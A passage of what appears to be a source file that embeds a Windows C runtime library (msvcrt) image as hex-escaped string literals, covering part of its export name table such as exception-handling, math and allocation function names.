\"\\x40\\x5A\\x00\\x5F\\x5F\\x75\\x6E\\x63\\x61\\x75\\x67\\x68\\x74\\x5F\\x65\\x78\" // @Z.__uncaught_ex\n/* 77C2AE70 */ \"\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x00\\x3F\\x5F\\x71\\x75\\x65\\x72\\x79\\x5F\" // ception.?_query_\n/* 77C2AE80 */ \"\\x6E\\x65\\x77\\x5F\\x68\\x61\\x6E\\x64\\x6C\\x65\\x72\\x40\\x40\\x59\\x41\\x50\" // new_handler@@YAP\n/* 77C2AE90 */ \"\\x36\\x41\\x48\\x49\\x40\\x5A\\x58\\x5A\\x00\\x3F\\x5F\\x71\\x75\\x65\\x72\\x79\" // 6AHI@ZXZ.?_query\n/* 77C2AEA0 */ \"\\x5F\\x6E\\x65\\x77\\x5F\\x6D\\x6F\\x64\\x65\\x40\\x40\\x59\\x41\\x48\\x58\\x5A\" // _new_mode@@YAHXZ\n/* 77C2AEB0 */ \"\\x00\\x3F\\x5F\\x73\\x65\\x74\\x5F\\x6E\\x65\\x77\\x5F\\x68\\x61\\x6E\\x64\\x6C\" // .?_set_new_handl\n/* 77C2AEC0 */ \"\\x65\\x72\\x40\\x40\\x59\\x41\\x50\\x36\\x41\\x48\\x49\\x40\\x5A\\x50\\x36\\x41\" // er@@YAP6AHI@ZP6A\n/* 77C2AED0 */ \"\\x48\\x49\\x40\\x5A\\x40\\x5A\\x00\\x3F\\x5F\\x73\\x65\\x74\\x5F\\x6E\\x65\\x77\" // HI@Z@Z.?_set_new\n/* 77C2AEE0 */ \"\\x5F\\x6D\\x6F\\x64\\x65\\x40\\x40\\x59\\x41\\x48\\x48\\x40\\x5A\\x00\\x3F\\x5F\" // _mode@@YAHH@Z.?_\n/* 77C2AEF0 */ \"\\x73\\x65\\x74\\x5F\\x73\\x65\\x5F\\x74\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x6F\" // set_se_translato\n/* 77C2AF00 */ \"\\x72\\x40\\x40\\x59\\x41\\x50\\x36\\x41\\x58\\x49\\x50\\x41\\x55\\x5F\\x45\\x58\" // r@@YAP6AXIPAU_EX\n/* 77C2AF10 */ \"\\x43\\x45\\x50\\x54\\x49\\x4F\\x4E\\x5F\\x50\\x4F\\x49\\x4E\\x54\\x45\\x52\\x53\" // CEPTION_POINTERS\n/* 77C2AF20 */ \"\\x40\\x40\\x40\\x5A\\x50\\x36\\x41\\x58\\x49\\x30\\x40\\x5A\\x40\\x5A\\x00\\x3F\" // @@@ZP6AXI0@Z@Z.?\n/* 77C2AF30 */ \"\\x62\\x65\\x66\\x6F\\x72\\x65\\x40\\x74\\x79\\x70\\x65\\x5F\\x69\\x6E\\x66\\x6F\" // before@type_info\n/* 77C2AF40 */ \"\\x40\\x40\\x51\\x42\\x45\\x48\\x41\\x42\\x56\\x31\\x40\\x40\\x5A\\x00\\x3F\\x6E\" // @@QBEHABV1@@Z.?n\n/* 77C2AF50 */ \"\\x61\\x6D\\x65\\x40\\x74\\x79\\x70\\x65\\x5F\\x69\\x6E\\x66\\x6F\\x40\\x40\\x51\" // ame@type_info@@Q\n/* 77C2AF60 */ \"\\x42\\x45\\x50\\x42\\x44\\x58\\x5A\\x00\\x3F\\x72\\x61\\x77\\x5F\\x6E\\x61\\x6D\" // BEPBDXZ.?raw_nam\n/* 77C2AF70 */ \"\\x65\\x40\\x74\\x79\\x70\\x65\\x5F\\x69\\x6E\\x66\\x6F\\x40\\x40\\x51\\x42\\x45\" // e@type_info@@QBE\n/* 77C2AF80 */ \"\\x50\\x42\\x44\\x58\\x5A\\x00\\x3F\\x73\\x65\\x74\\x5F\\x6E\\x65\\x77\\x5F\\x68\" // PBDXZ.?set_new_h\n/* 77C2AF90 */ \"\\x61\\x6E\\x64\\x6C\\x65\\x72\\x40\\x40\\x59\\x41\\x50\\x36\\x41\\x58\\x58\\x5A\" // andler@@YAP6AXXZ\n/* 77C2AFA0 */ \"\\x50\\x36\\x41\\x58\\x58\\x5A\\x40\\x5A\\x00\\x3F\\x73\\x65\\x74\\x5F\\x74\\x65\" // P6AXXZ@Z.?set_te\n/* 77C2AFB0 */ \"\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x40\\x40\\x59\\x41\\x50\\x36\\x41\\x58\\x58\" // rminate@@YAP6AXX\n/* 77C2AFC0 */ \"\\x5A\\x50\\x36\\x41\\x58\\x58\\x5A\\x40\\x5A\\x00\\x3F\\x73\\x65\\x74\\x5F\\x75\" // ZP6AXXZ@Z.?set_u\n/* 77C2AFD0 */ \"\\x6E\\x65\\x78\\x70\\x65\\x63\\x74\\x65\\x64\\x40\\x40\\x59\\x41\\x50\\x36\\x41\" // nexpected@@YAP6A\n/* 77C2AFE0 */ \"\\x58\\x58\\x5A\\x50\\x36\\x41\\x58\\x58\\x5A\\x40\\x5A\\x00\\x3F\\x74\\x65\\x72\" // XXZP6AXXZ@Z.?ter\n/* 77C2AFF0 */ \"\\x6D\\x69\\x6E\\x61\\x74\\x65\\x40\\x40\\x59\\x41\\x58\\x58\\x5A\\x00\\x3F\\x75\" // minate@@YAXXZ.?u\n/* 77C2B000 */ \"\\x6E\\x65\\x78\\x70\\x65\\x63\\x74\\x65\\x64\\x40\\x40\\x59\\x41\\x58\\x58\\x5A\" // nexpected@@YAXXZ\n/* 77C2B010 */ \"\\x00\\x3F\\x77\\x68\\x61\\x74\\x40\\x65\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\" // .?what@exception\n/* 77C2B020 */ \"\\x40\\x40\\x55\\x42\\x45\\x50\\x42\\x44\\x58\\x5A\\x00\\x24\\x49\\x31\\x30\\x5F\" // @@UBEPBDXZ.$I10_\n/* 77C2B030 */ \"\\x4F\\x55\\x54\\x50\\x55\\x54\\x00\\x5F\\x43\\x49\\x61\\x63\\x6F\\x73\\x00\\x5F\" // OUTPUT._CIacos._\n/* 77C2B040 */ \"\\x43\\x49\\x61\\x73\\x69\\x6E\\x00\\x5F\\x43\\x49\\x61\\x74\\x61\\x6E\\x00\\x5F\" // CIasin._CIatan._\n/* 77C2B050 */ \"\\x43\\x49\\x61\\x74\\x61\\x6E\\x32\\x00\\x5F\\x43\\x49\\x63\\x6F\\x73\\x00\\x5F\" // CIatan2._CIcos._\n/* 77C2B060 */ \"\\x43\\x49\\x63\\x6F\\x73\\x68\\x00\\x5F\\x43\\x49\\x65\\x78\\x70\\x00\\x5F\\x43\" // CIcosh._CIexp._C\n/* 77C2B070 */ \"\\x49\\x66\\x6D\\x6F\\x64\\x00\\x5F\\x43\\x49\\x6C\\x6F\\x67\\x00\\x5F\\x43\\x49\" // Ifmod._CIlog._CI\n/* 77C2B080 */ \"\\x6C\\x6F\\x67\\x31\\x30\\x00\\x5F\\x43\\x49\\x70\\x6F\\x77\\x00\\x5F\\x43\\x49\" // log10._CIpow._CI\n/* 77C2B090 */ \"\\x73\\x69\\x6E\\x00\\x5F\\x43\\x49\\x73\\x69\\x6E\\x68\\x00\\x5F\\x43\\x49\\x73\" // sin._CIsinh._CIs\n/* 77C2B0A0 */ \"\\x71\\x72\\x74\\x00\\x5F\\x43\\x49\\x74\\x61\\x6E\\x00\\x5F\\x43\\x49\\x74\\x61\" // qrt._CItan._CIta\n/* 77C2B0B0 */ \"\\x6E\\x68\\x00\\x5F\\x43\\x78\\x78\\x54\\x68\\x72\\x6F\\x77\\x45\\x78\\x63\\x65\" // nh._CxxThrowExce\n/* 77C2B0C0 */ \"\\x70\\x74\\x69\\x6F\\x6E\\x00\\x5F\\x45\\x48\\x5F\\x70\\x72\\x6F\\x6C\\x6F\\x67\" // ption._EH_prolog\n/* 77C2B0D0 */ \"\\x00\\x5F\\x47\\x65\\x74\\x64\\x61\\x79\\x73\\x00\\x5F\\x47\\x65\\x74\\x6D\\x6F\" // ._Getdays._Getmo\n/* 77C2B0E0 */ \"\\x6E\\x74\\x68\\x73\\x00\\x5F\\x47\\x65\\x74\\x74\\x6E\\x61\\x6D\\x65\\x73\\x00\" // nths._Gettnames.\n/* 77C2B0F0 */ \"\\x5F\\x48\\x55\\x47\\x45\\x00\\x5F\\x53\\x74\\x72\\x66\\x74\\x69\\x6D\\x65\\x00\" // _HUGE._Strftime.\n/* 77C2B100 */ \"\\x5F\\x58\\x63\\x70\\x74\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x5F\\x5F\\x43\\x78\" // _XcptFilter.__Cx\n/* 77C2B110 */ \"\\x78\\x43\\x61\\x6C\\x6C\\x55\\x6E\\x77\\x69\\x6E\\x64\\x44\\x74\\x6F\\x72\\x00\" // xCallUnwindDtor.\n/* 77C2B120 */ \"\\x5F\\x5F\\x43\\x78\\x78\\x44\\x65\\x74\\x65\\x63\\x74\\x52\\x65\\x74\\x68\\x72\" // __CxxDetectRethr\n/* 77C2B130 */ \"\\x6F\\x77\\x00\\x5F\\x5F\\x43\\x78\\x78\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\" // ow.__CxxExceptio\n/* 77C2B140 */ \"\\x6E\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x5F\\x5F\\x43\\x78\\x78\\x46\\x72\\x61\" // nFilter.__CxxFra\n/* 77C2B150 */ \"\\x6D\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x00\\x5F\\x5F\\x43\\x78\\x78\\x4C\" // meHandler.__CxxL\n/* 77C2B160 */ \"\\x6F\\x6E\\x67\\x6A\\x6D\\x70\\x55\\x6E\\x77\\x69\\x6E\\x64\\x00\\x5F\\x5F\\x43\" // ongjmpUnwind.__C\n/* 77C2B170 */ \"\\x78\\x78\\x51\\x75\\x65\\x72\\x79\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\" // xxQueryException\n/* 77C2B180 */ \"\\x53\\x69\\x7A\\x65\\x00\\x5F\\x5F\\x43\\x78\\x78\\x52\\x65\\x67\\x69\\x73\\x74\" // Size.__CxxRegist\n/* 77C2B190 */ \"\\x65\\x72\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x4F\\x62\\x6A\\x65\\x63\" // erExceptionObjec\n/* 77C2B1A0 */ \"\\x74\\x00\\x5F\\x5F\\x43\\x78\\x78\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\" // t.__CxxUnregiste\n/* 77C2B1B0 */ \"\\x72\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\" // rExceptionObject\n/* 77C2B1C0 */ \"\\x00\\x5F\\x5F\\x44\\x65\\x73\\x74\\x72\\x75\\x63\\x74\\x45\\x78\\x63\\x65\\x70\" // .__DestructExcep\n/* 77C2B1D0 */ \"\\x74\\x69\\x6F\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5F\\x5F\\x52\\x54\\x43\" // tionObject.__RTC\n/* 77C2B1E0 */ \"\\x61\\x73\\x74\\x54\\x6F\\x56\\x6F\\x69\\x64\\x00\\x5F\\x5F\\x52\\x54\\x44\\x79\" // astToVoid.__RTDy\n/* 77C2B1F0 */ \"\\x6E\\x61\\x6D\\x69\\x63\\x43\\x61\\x73\\x74\\x00\\x5F\\x5F\\x52\\x54\\x74\\x79\" // namicCast.__RTty\n/* 77C2B200 */ \"\\x70\\x65\\x69\\x64\\x00\\x5F\\x5F\\x53\\x54\\x52\\x49\\x4E\\x47\\x54\\x4F\\x4C\" // peid.__STRINGTOL\n/* 77C2B210 */ \"\\x44\\x00\\x5F\\x5F\\x5F\\x6C\\x63\\x5F\\x63\\x6F\\x64\\x65\\x70\\x61\\x67\\x65\" // D.___lc_codepage\n/* 77C2B220 */ \"\\x5F\\x66\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x5F\\x6C\\x63\\x5F\\x68\\x61\\x6E\\x64\" // _func.___lc_hand\n/* 77C2B230 */ \"\\x6C\\x65\\x5F\\x66\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x5F\\x6D\\x62\\x5F\\x63\\x75\" // le_func.___mb_cu\n/* 77C2B240 */ \"\\x72\\x5F\\x6D\\x61\\x78\\x5F\\x66\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x5F\\x73\\x65\" // r_max_func.___se\n/* 77C2B250 */ \"\\x74\\x6C\\x63\\x5F\\x61\\x63\\x74\\x69\\x76\\x65\\x5F\\x66\\x75\\x6E\\x63\\x00\" // tlc_active_func.\n/* 77C2B260 */ \"\\x5F\\x5F\\x5F\\x75\\x6E\\x67\\x75\\x61\\x72\\x64\\x65\\x64\\x5F\\x72\\x65\\x61\" // ___unguarded_rea\n/* 77C2B270 */ \"\\x64\\x6C\\x63\\x5F\\x61\\x63\\x74\\x69\\x76\\x65\\x5F\\x61\\x64\\x64\\x5F\\x66\" // dlc_active_add_f\n/* 77C2B280 */ \"\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x61\\x72\\x67\\x63\\x00\\x5F\\x5F\\x61\\x72\\x67\" // unc.__argc.__arg\n/* 77C2B290 */ \"\\x76\\x00\\x5F\\x5F\\x62\\x61\\x64\\x69\\x6F\\x69\\x6E\\x66\\x6F\\x00\\x5F\\x5F\" // v.__badioinfo.__\n/* 77C2B2A0 */ \"\\x63\\x72\\x74\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\" // crtCompareString\n/* 77C2B2B0 */ \"\\x41\\x00\\x5F\\x5F\\x63\\x72\\x74\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x53\\x74\" // A.__crtCompareSt\n/* 77C2B2C0 */ \"\\x72\\x69\\x6E\\x67\\x57\\x00\\x5F\\x5F\\x63\\x72\\x74\\x47\\x65\\x74\\x4C\\x6F\" // ringW.__crtGetLo\n/* 77C2B2D0 */ \"\\x63\\x61\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\\x5F\\x5F\\x63\\x72\\x74\\x47\" // caleInfoW.__crtG\n/* 77C2B2E0 */ \"\\x65\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x79\\x70\\x65\\x57\\x00\\x5F\\x5F\" // etStringTypeW.__\n/* 77C2B2F0 */ \"\\x63\\x72\\x74\\x4C\\x43\\x4D\\x61\\x70\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\" // crtLCMapStringA.\n/* 77C2B300 */ \"\\x5F\\x5F\\x63\\x72\\x74\\x4C\\x43\\x4D\\x61\\x70\\x53\\x74\\x72\\x69\\x6E\\x67\" // __crtLCMapString\n/* 77C2B310 */ \"\\x57\\x00\\x5F\\x5F\\x64\\x6C\\x6C\\x6F\\x6E\\x65\\x78\\x69\\x74\\x00\\x5F\\x5F\" // W.__dllonexit.__\n/* 77C2B320 */ \"\\x64\\x6F\\x73\\x65\\x72\\x72\\x6E\\x6F\\x00\\x5F\\x5F\\x66\\x70\\x65\\x63\\x6F\" // doserrno.__fpeco\n/* 77C2B330 */ \"\\x64\\x65\\x00\\x5F\\x5F\\x67\\x65\\x74\\x6D\\x61\\x69\\x6E\\x61\\x72\\x67\\x73\" // de.__getmainargs\n/* 77C2B340 */ \"\\x00\\x5F\\x5F\\x69\\x6E\\x69\\x74\\x65\\x6E\\x76\\x00\\x5F\\x5F\\x69\\x6F\\x62\" // .__initenv.__iob\n/* 77C2B350 */ \"\\x5F\\x66\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x69\\x73\\x61\\x73\\x63\\x69\\x69\\x00\" // _func.__isascii.\n/* 77C2B360 */ \"\\x5F\\x5F\\x69\\x73\\x63\\x73\\x79\\x6D\\x00\\x5F\\x5F\\x69\\x73\\x63\\x73\\x79\" // __iscsym.__iscsy\n/* 77C2B370 */ \"\\x6D\\x66\\x00\\x5F\\x5F\\x6C\\x63\\x5F\\x63\\x6F\\x64\\x65\\x70\\x61\\x67\\x65\" // mf.__lc_codepage\n/* 77C2B380 */ \"\\x00\\x5F\\x5F\\x6C\\x63\\x5F\\x63\\x6F\\x6C\\x6C\\x61\\x74\\x65\\x5F\\x63\\x70\" // .__lc_collate_cp\n/* 77C2B390 */ \"\\x00\\x5F\\x5F\\x6C\\x63\\x5F\\x68\\x61\\x6E\\x64\\x6C\\x65\\x00\\x5F\\x5F\\x6C\" // .__lc_handle.__l\n/* 77C2B3A0 */ \"\\x63\\x6F\\x6E\\x76\\x5F\\x69\\x6E\\x69\\x74\\x00\\x5F\\x5F\\x6D\\x62\\x5F\\x63\" // conv_init.__mb_c\n/* 77C2B3B0 */ \"\\x75\\x72\\x5F\\x6D\\x61\\x78\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x5F\\x61\\x72\\x67\" // ur_max.__p___arg\n/* 77C2B3C0 */ \"\\x63\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x5F\\x61\\x72\\x67\\x76\\x00\\x5F\\x5F\\x70\" // c.__p___argv.__p\n/* 77C2B3D0 */ \"\\x5F\\x5F\\x5F\\x69\\x6E\\x69\\x74\\x65\\x6E\\x76\\x00\\x5F\\x5F\\x70\\x5F\\x5F\" // ___initenv.__p__\n/* 77C2B3E0 */ \"\\x5F\\x6D\\x62\\x5F\\x63\\x75\\x72\\x5F\\x6D\\x61\\x78\\x00\\x5F\\x5F\\x70\\x5F\" // _mb_cur_max.__p_\n/* 77C2B3F0 */ \"\\x5F\\x5F\\x77\\x61\\x72\\x67\\x76\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x5F\\x77\\x69\" // __wargv.__p___wi\n/* 77C2B400 */ \"\\x6E\\x69\\x74\\x65\\x6E\\x76\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x61\\x63\\x6D\\x64\" // nitenv.__p__acmd\n/* 77C2B410 */ \"\\x6C\\x6E\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x61\\x6D\\x62\\x6C\\x6B\\x73\\x69\\x7A\" // ln.__p__amblksiz\n/* 77C2B420 */ \"\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x63\\x6F\\x6D\\x6D\\x6F\\x64\\x65\\x00\\x5F\\x5F\" // .__p__commode.__\n/* 77C2B430 */ \"\\x70\\x5F\\x5F\\x64\\x61\\x79\\x6C\\x69\\x67\\x68\\x74\\x00\\x5F\\x5F\\x70\\x5F\" // p__daylight.__p_\n/* 77C2B440 */ \"\\x5F\\x64\\x73\\x74\\x62\\x69\\x61\\x73\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x65\\x6E\" // _dstbias.__p__en\n/* 77C2B450 */ \"\\x76\\x69\\x72\\x6F\\x6E\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x66\\x69\\x6C\\x65\\x69\" // viron.__p__filei\n/* 77C2B460 */ \"\\x6E\\x66\\x6F\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x66\\x6D\\x6F\\x64\\x65\\x00\\x5F\" // nfo.__p__fmode._\n/* 77C2B470 */ \"\\x5F\\x70\\x5F\\x5F\\x69\\x6F\\x62\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x6D\\x62\\x63\" // _p__iob.__p__mbc\n/* 77C2B480 */ \"\\x61\\x73\\x65\\x6D\\x61\\x70\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x6D\\x62\\x63\\x74\" // asemap.__p__mbct\n/* 77C2B490 */ \"\\x79\\x70\\x65\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x6F\\x73\\x76\\x65\\x72\\x00\\x5F\" // ype.__p__osver._\n/* 77C2B4A0 */ \"\\x5F\\x70\\x5F\\x5F\\x70\\x63\\x74\\x79\\x70\\x65\\x00\\x5F\\x5F\\x70\\x5F\\x5F\" // _p__pctype.__p__\n/* 77C2B4B0 */ \"\\x70\\x67\\x6D\\x70\\x74\\x72\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x70\\x77\\x63\\x74\" // pgmptr.__p__pwct\n/* 77C2B4C0 */ \"\\x79\\x70\\x65\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x74\\x69\\x6D\\x65\\x7A\\x6F\\x6E\" // ype.__p__timezon\n/* 77C2B4D0 */ \"\\x65\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x74\\x7A\\x6E\\x61\\x6D\\x65\\x00\\x5F\\x5F\" // e.__p__tzname.__\n/* 77C2B4E0 */ \"\\x70\\x5F\\x5F\\x77\\x63\\x6D\\x64\\x6C\\x6E\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x77\" // p__wcmdln.__p__w\n/* 77C2B4F0 */ \"\\x65\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x77\\x69\\x6E\" // environ.__p__win\n/* 77C2B500 */ \"\\x6D\\x61\\x6A\\x6F\\x72\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x77\\x69\\x6E\\x6D\\x69\" // major.__p__winmi\n/* 77C2B510 */ \"\\x6E\\x6F\\x72\\x00\\x5F\\x5F\\x70\\x5F\\x5F\\x77\\x69\\x6E\\x76\\x65\\x72\\x00\" // nor.__p__winver.\n/* 77C2B520 */ \"\\x5F\\x5F\\x70\\x5F\\x5F\\x77\\x70\\x67\\x6D\\x70\\x74\\x72\\x00\\x5F\\x5F\\x70\" // __p__wpgmptr.__p\n/* 77C2B530 */ \"\\x63\\x74\\x79\\x70\\x65\\x5F\\x66\\x75\\x6E\\x63\\x00\\x5F\\x5F\\x70\\x69\\x6F\" // ctype_func.__pio\n/* 77C2B540 */ \"\\x69\\x6E\\x66\\x6F\\x00\\x5F\\x5F\\x70\\x78\\x63\\x70\\x74\\x69\\x6E\\x66\\x6F\" // info.__pxcptinfo\n/* 77C2B550 */ \"\\x70\\x74\\x72\\x73\\x00\\x5F\\x5F\\x73\\x65\\x74\\x5F\\x61\\x70\\x70\\x5F\\x74\" // ptrs.__set_app_t\n/* 77C2B560 */ \"\\x79\\x70\\x65\\x00\\x5F\\x5F\\x73\\x65\\x74\\x6C\\x63\\x5F\\x61\\x63\\x74\\x69\" // ype.__setlc_acti\n/* 77C2B570 */ \"\\x76\\x65\\x00\\x5F\\x5F\\x73\\x65\\x74\\x75\\x73\\x65\\x72\\x6D\\x61\\x74\\x68\" // ve.__setusermath\n/* 77C2B580 */ \"\\x65\\x72\\x72\\x00\\x5F\\x5F\\x74\\x68\\x72\\x65\\x61\\x64\\x68\\x61\\x6E\\x64\" // err.__threadhand\n/* 77C2B590 */ \"\\x6C\\x65\\x00\\x5F\\x5F\\x74\\x68\\x72\\x65\\x61\\x64\\x69\\x64\\x00\\x5F\\x5F\" // le.__threadid.__\n/* 77C2B5A0 */ \"\\x74\\x6F\\x61\\x73\\x63\\x69\\x69\\x00\\x5F\\x5F\\x75\\x6E\\x44\\x4E\\x61\\x6D\" // toascii.__unDNam\n/* 77C2B5B0 */ \"\\x65\\x00\\x5F\\x5F\\x75\\x6E\\x44\\x4E\\x61\\x6D\\x65\\x45\\x78\\x00\\x5F\\x5F\" // e.__unDNameEx.__\n/* 77C2B5C0 */ \"\\x75\\x6E\\x67\\x75\\x61\\x72\\x64\\x65\\x64\\x5F\\x72\\x65\\x61\\x64\\x6C\\x63\" // unguarded_readlc\n/* 77C2B5D0 */ \"\\x5F\\x61\\x63\\x74\\x69\\x76\\x65\\x00\\x5F\\x5F\\x77\\x61\\x72\\x67\\x76\\x00\" // _active.__wargv.\n/* 77C2B5E0 */ \"\\x5F\\x5F\\x77\\x63\\x73\\x65\\x72\\x72\\x6F\\x72\\x00\\x5F\\x5F\\x77\\x67\\x65\" // __wcserror.__wge\n/* 77C2B5F0 */ \"\\x74\\x6D\\x61\\x69\\x6E\\x61\\x72\\x67\\x73\\x00\\x5F\\x5F\\x77\\x69\\x6E\\x69\" // tmainargs.__wini\n/* 77C2B600 */ \"\\x74\\x65\\x6E\\x76\\x00\\x5F\\x61\\x62\\x6E\\x6F\\x72\\x6D\\x61\\x6C\\x5F\\x74\" // tenv._abnormal_t\n/* 77C2B610 */ \"\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x69\\x6F\\x6E\\x00\\x5F\\x61\\x63\\x63\\x65\" // ermination._acce\n/* 77C2B620 */ \"\\x73\\x73\\x00\\x5F\\x61\\x63\\x6D\\x64\\x6C\\x6E\\x00\\x5F\\x61\\x64\\x6A\\x5F\" // ss._acmdln._adj_\n/* 77C2B630 */ \"\\x66\\x64\\x69\\x76\\x5F\\x6D\\x31\\x36\\x69\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\" // fdiv_m16i._adj_f\n/* 77C2B640 */ \"\\x64\\x69\\x76\\x5F\\x6D\\x33\\x32\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\" // div_m32._adj_fdi\n/* 77C2B650 */ \"\\x76\\x5F\\x6D\\x33\\x32\\x69\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\" // v_m32i._adj_fdiv\n/* 77C2B660 */ \"\\x5F\\x6D\\x36\\x34\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\\x5F\\x72\" // _m64._adj_fdiv_r\n/* 77C2B670 */ \"\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\\x72\\x5F\\x6D\\x31\\x36\\x69\" // ._adj_fdivr_m16i\n/* 77C2B680 */ \"\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\\x72\\x5F\\x6D\\x33\\x32\\x00\" // ._adj_fdivr_m32.\n/* 77C2B690 */ \"\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\\x72\\x5F\\x6D\\x33\\x32\\x69\\x00\" // _adj_fdivr_m32i.\n/* 77C2B6A0 */ \"\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x64\\x69\\x76\\x72\\x5F\\x6D\\x36\\x34\\x00\\x5F\" // _adj_fdivr_m64._\n/* 77C2B6B0 */ \"\\x61\\x64\\x6A\\x5F\\x66\\x70\\x61\\x74\\x61\\x6E\\x00\\x5F\\x61\\x64\\x6A\\x5F\" // adj_fpatan._adj_\n/* 77C2B6C0 */ \"\\x66\\x70\\x72\\x65\\x6D\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x70\\x72\\x65\\x6D\" // fprem._adj_fprem\n/* 77C2B6D0 */ \"\\x31\\x00\\x5F\\x61\\x64\\x6A\\x5F\\x66\\x70\\x74\\x61\\x6E\\x00\\x5F\\x61\\x64\" // 1._adj_fptan._ad\n/* 77C2B6E0 */ \"\\x6A\\x75\\x73\\x74\\x5F\\x66\\x64\\x69\\x76\\x00\\x5F\\x61\\x65\\x78\\x69\\x74\" // just_fdiv._aexit\n/* 77C2B6F0 */ \"\\x5F\\x72\\x74\\x6E\\x00\\x5F\\x61\\x6C\\x69\\x67\\x6E\\x65\\x64\\x5F\\x66\\x72\" // _rtn._aligned_fr\n/* 77C2B700 */ \"\\x65\\x65\\x00\\x5F\\x61\\x6C\\x69\\x67\\x6E\\x65\\x64\\x5F\\x6D\\x61\\x6C\\x6C\" // ee._aligned_mall\n/* 77C2B710 */ \"\\x6F\\x63\\x00\\x5F\\x61\\x6C\\x69\\x67\\x6E\\x65\\x64\\x5F\\x6F\\x66\\x66\\x73\" // oc._aligned_offs\n/* 77C2B720 */ \"\\x65\\x74\\x5F\\x6D\\x61\\x6C\\x6C\\x6F\\x63\\x00\\x5F\\x61\\x6C\\x69\\x67\\x6E\" // et_malloc._align\n/* 77C2B730 */ \"\\x65\\x64\\x5F\\x6F\\x66\\x66\\x73\\x65\\x74\\x5F\\x72\\x65\\x61\\x6C\\x6C\\x6F\" // ed_offset_reallo\n/* 77C2B740 */ \"\\x63\\x00\\x5F\\x61\\x6C\\x69\\x67\\x6E\\x65\\x64\\x5F\\x72\\x65\\x61\\x6C\\x6C\" // c._aligned_reall\n/* 77C2B750 */ \"\\x6F\\x63\\x00\\x5F\\x61\\x6D\\x73\\x67\\x5F\\x65\\x78\\x69\\x74\\x00\\x5F\\x61\" // oc._amsg_exit._a\n/* 77C2B760 */ \"\\x73\\x73\\x65\\x72\\x74\\x00\\x5F\\x61\\x74\\x6F\\x64\\x62\\x6C\\x00\\x5F\\x61\" // ssert._atodbl._a\n/* 77C2B770 */ \"\\x74\\x6F\\x69\\x36\\x34\\x00\\x5F\\x61\\x74\\x6F\\x6C\\x64\\x62\\x6C\\x00\\x5F\" // toi64._atoldbl._\n/* 77C2B780 */ \"\\x62\\x65\\x65\\x70\\x00\\x5F\\x62\\x65\\x67\\x69\\x6E\\x74\\x68\\x72\\x65\\x61\" // beep._beginthrea\n/* 77C2B790 */ \"\\x64\\x00\\x5F\\x62\\x65\\x67\\x69\\x6E\\x74\\x68\\x72\\x65\\x61\\x64\\x65\\x78\" // d._beginthreadex\n/* 77C2B7A0 */ \"\\x00\\x5F\\x63\\x5F\\x65\\x78\\x69\\x74\\x00\\x5F\\x63\\x61\\x62\\x73\\x00\\x5F\" // ._c_exit._cabs._\n/* 77C2B7B0 */ \"\\x63\\x61\\x6C\\x6C\\x6E\\x65\\x77\\x68\\x00\\x5F\\x63\\x65\\x78\\x69\\x74\\x00\" // callnewh._cexit.\n/* 77C2B7C0 */ \"\\x5F\\x63\\x67\\x65\\x74\\x73\\x00\\x5F\\x63\\x67\\x65\\x74\\x77\\x73\\x00\\x5F\" // _cgets._cgetws._\n/* 77C2B7D0 */ \"\\x63\\x68\\x64\\x69\\x72\\x00\\x5F\\x63\\x68\\x64\\x72\\x69\\x76\\x65\\x00\\x5F\" // chdir._chdrive._\n/* 77C2B7E0 */ 